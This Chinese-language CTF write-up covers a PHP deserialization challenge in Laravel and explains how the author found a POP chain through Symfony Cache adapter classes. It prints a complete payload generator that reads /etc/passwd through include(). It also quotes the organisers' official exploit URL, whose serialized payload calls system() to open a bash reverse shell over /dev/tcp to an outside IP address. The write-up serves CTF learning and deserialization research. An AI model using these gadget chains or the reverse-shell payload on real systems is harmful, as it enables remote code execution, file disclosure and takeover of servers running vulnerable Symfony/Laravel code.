国赛决赛laravel的另一种不完美做法
2019-07-30 10:03:00 Author: xz.aliyun.com(查看原文) 阅读量:121 收藏

前言

这道题因为非预期的日志文件,直接给出了payload,但是由于我自己没看到,自己找了好久好久,2333,发现自己的POP链和出题师傅的点有点不太一样,故发出来分享下自己的POP链挖掘思路

题目代码

public function index(\Illuminate\Http\Request $request){
        $payload=$request->input("payload");
        if(empty($payload)){
            highlight_file(__FILE__);
        }else{
            @unserialize($payload);
        }
    }

代码很简单,很明显是让找POP链,最后能读取文件即可

ROP链挖掘

既然直接给了一个unserialize,其他的什么都没有,所以首先考虑魔法函数__destruct

那么我们在全局搜索一下__destruct

可以发现有很多匹配的结果,没办法了,硬着头皮看吧

找了很久,终于发现了一处__destruct可以利用一下,但是有一些限制

TagAwareAdapter类

这个类里面有一个__destruct方法,调用了commit方法

public function __destruct()
    {
        $this->commit();
    }

之后commit方法又调用了invalidateTags这个方法

public function commit()
    {
        return $this->invalidateTags([]);
    }

我们跟进invalidateTags这个方法看看

public function invalidateTags(array $tags)
    {
        $ok = true;
        $tagsByKey = [];
        $invalidatedTags = [];
        foreach ($tags as $tag) {
            CacheItem::validateKey($tag);
            $invalidatedTags[$tag] = 0;
        }

        if ($this->deferred) {
            $items = $this->deferred;

            foreach ($items as $key => $item) {
                if (!$this->pool->saveDeferred($item)) {
                    unset($this->deferred[$key]);
                    $ok = false;
                }
            }

            $f = $this->getTagsByKey;
            $tagsByKey = $f($items);
            $this->deferred = [];
        }

        $tagVersions = $this->getTagVersions($tagsByKey, $invalidatedTags);
        $f = $this->createCacheItem;

        foreach ($tagsByKey as $key => $tags) {
            $this->pool->saveDeferred($f(static::TAGS_PREFIX.$key, array_intersect_key($tagVersions, $tags), $items[$key]));
        }
        $ok = $this->pool->commit() && $ok;

        if ($invalidatedTags) {
            $f = $this->invalidateTags;
            $ok = $f($this->tags, $invalidatedTags) && $ok;
        }

        return $ok;
    }

要注意的是,我们可以控制整个TagAwareAdapter类中的成员变量,所以我们可以控制所有的$this->xxx这样子的变量。

在这一段代码中

foreach ($items as $key => $item) {
                if (!$this->pool->saveDeferred($item)) {
                    unset($this->deferred[$key]);
                    $ok = false;
                }
            }

我们可以发现,我们可以调用任意一个实现了saveDeferred方法的类,所以我们可以找到这些类

第一个很尴尬的POP链

在刚开始的时候,我找的是ProxyAdapter这个类,为什么呢

public function saveDeferred(CacheItemInterface $item)
    {
        return $this->doSave($item, __FUNCTION__);
    }


private function doSave(CacheItemInterface $item, $method)
    {
        if (!$item instanceof CacheItem) {
            return false;
        }
        $item = (array) $item;
        if (null === $item["\0*\0expiry"] && 0 < $item["\0*\0defaultLifetime"]) {
            $item["\0*\0expiry"] = microtime(true) + $item["\0*\0defaultLifetime"];
        }
        if ($item["\0*\0poolHash"] === $this->poolHash && $item["\0*\0innerItem"]) {
            $innerItem = $item["\0*\0innerItem"];
        } elseif ($this->pool instanceof AdapterInterface) {
            // this is an optimization specific for AdapterInterface implementations
            // so we can save a round-trip to the backend by just creating a new item
            $f = $this->createCacheItem;
            $innerItem = $f($this->namespace.$item["\0*\0key"], null);
        } else {
            $innerItem = $this->pool->getItem($this->namespace.$item["\0*\0key"]);
        }

        ($this->setInnerItem)($innerItem, $item);

        return $this->pool->$method($innerItem);
    }

我们只要传入的$item是一个CacheItem类型,就可以进到下面的if条件中

看到一句代码了吗$innerItem = $f($this->namespace.$item["\0*\0key"], null);,这一句代码中:

  1. $f这个变量是来自于$this->createCacheItem,我们可控
  2. $item["\0*\0key"]这个变量,来自于上面的$item = (array) $item;

    这里有一个很有意思的点,如果一个对象被强行转换为array的时候,他里面的属性会变成这个样子:

  3. 所以说,$item数组我们是完全可以控制的
  4. 所以说,这里我们可以调用第二个参数可以是null的方法,可惜的是,虽然file_get_contents第二个参数可以为null,但是并没有回显,有点尴尬(有师傅知道这一点可以利用吗)

柳暗花明又一村

既然这个不行,那我们就换一个呗,毕竟那么多实现了saveDeferred方法的类

但是,虽然那么多的类,但是能用来利用的只能找到一个:PhpArrayAdapter类

我们看一下这个类中的saveDeffer方法

public function saveDeferred(CacheItemInterface $item)
    {
        if (null === $this->values) {
            $this->initialize();
        }

        return !isset($this->keys[$item->getKey()]) && $this->pool->saveDeferred($item);
    }

进入到initialize这个方法,发现在本类中并没有定义,而是在一个trait这个关键词修饰的类中trait PhpArrayTrait

看一下trait这个关键词的用法

trait

这个关键词是php为了解决单继承的问题而特意建立的,在java这种面向对象的语言中,继承都是单继承的,一个类只能继承一个父类,这样确实体现了面向对象的思想,但是单继承在有的时候不是很方便

我们通过phpstorm的继承图生成可以清楚的看到PhpArrayAdapter这个类的继承关系

那么在本类中没有定义initialize这个方法的话,自然就会去父类中寻找,我们来看看父类的initialize方法:

private function initialize()
    {
        if (!file_exists($this->file)) {
            $this->keys = $this->values = [];

            return;
        }
        $values = (include $this->file) ?: [[], []];

        if (2 !== \count($values) || !isset($values[0], $values[1])) {
            $this->keys = $this->values = [];
        } else {
            list($this->keys, $this->values) = $values;
        }
    }

我们可以在PhpArrayAdapter中定义好$this->file这个变量,那么在调用initialize方法的时候,只要这个file是一个存在的文件,就会调用include来包含进去,最后就可以读取到flag了

出题人的官方的POP链可以直接做到命令执行,tql

最后的payload:

<?php
namespace Symfony\Component\Cache{

    use Symfony\Component\Cache\Adapter\ProxyAdapter;

    final class CacheItem{
        protected $key;
        protected $value;
        protected $isHit = false;
        protected $expiry;
        protected $defaultLifetime;
        protected $metadata = [];
        protected $newMetadata = [];
        protected $innerItem;
        protected $poolHash;
        protected $isTaggable = false;
        public function __construct()
        {
            $this->expiry = 'sjdjfkas';
            $this->poolHash = '123';
            $this->key = '';
        }
    }
}
namespace Symfony\Component\Cache\Adapter{

    use Symfony\Component\Cache\CacheItem;
    use Symfony\Component\Ldap\Adapter\ExtLdap\Adapter;
    class PhpArrayAdapter{
        private $file;
        public function __construct()
        {
            $this->file = '/etc/passwd';
        }
    }

    class ProxyAdapter{
        private $namespace;
        private $namespaceLen;
        private $createCacheItem;
        private $setInnerItem;
        private $poolHash;
        private $pool;
        public function __construct()
        {
            $this->pool = new ChainAdapter();
            $this->createCacheItem = 'call_user_func';
            $this->namespace = 'phpinfo';
        }
    }
    class TagAwareAdapter{
        private $deferred = [];
        private $createCacheItem;
        private $setCacheItemTags;
        private $getTagsByKey;
        private $invalidateTags;
        private $tags;
        private $knownTagVersions = [];
        private $knownTagVersionsTtl;
        private $pool;

        public function __construct()
        {
            $this->deferred = array('flight' => new CacheItem());
            $this->pool = new PhpArrayAdapter();
        }
    }
}

namespace {

    use Symfony\Component\Cache\Adapter\TagAwareAdapter;

    $obj = new TagAwareAdapter();
    echo urlencode(serialize($obj));
}

读取/etc/passwd

官方exp

http://localhost/pop_chain/laravel/public/index.php/index?payload=O%3A47%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%22%3A2%3A%7Bs%3A57%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00deferred%22%3Ba%3A1%3A%7Bi%3A1%3BO%3A33%3A%22Symfony%5CComponent%5CCache%5CCacheItem%22%3A3%3A%7Bs%3A12%3A%22%00%2A%00innerItem%22%3Bs%3A45%3A%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F115.159.184.127%2F9998%200%3E%261%22%3Bs%3A11%3A%22%00%2A%00poolHash%22%3Bs%3A1%3A%221%22%3Bs%3A9%3A%22%00%2A%00expiry%22%3Bs%3A1%3A%221%22%3B%7D%7Ds%3A53%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CTagAwareAdapter%00pool%22%3BO%3A44%3A%22Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%22%3A2%3A%7Bs%3A58%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00setInnerItem%22%3Bs%3A6%3A%22system%22%3Bs%3A54%3A%22%00Symfony%5CComponent%5CCache%5CAdapter%5CProxyAdapter%00poolHash%22%3Bs%3A1%3A%221%22%3B%7D%7D";}s:6:"_flash";a:2:{s:3:"old";a:0:{}s:3:"new";a:0:{}}}

这道题还是很有意思的,出题师傅的这个非预期有点难受,laravel,yii这些框架都有日志记录的。


文章来源: http://xz.aliyun.com/t/5816
如有侵权请联系:admin#unsafe.sh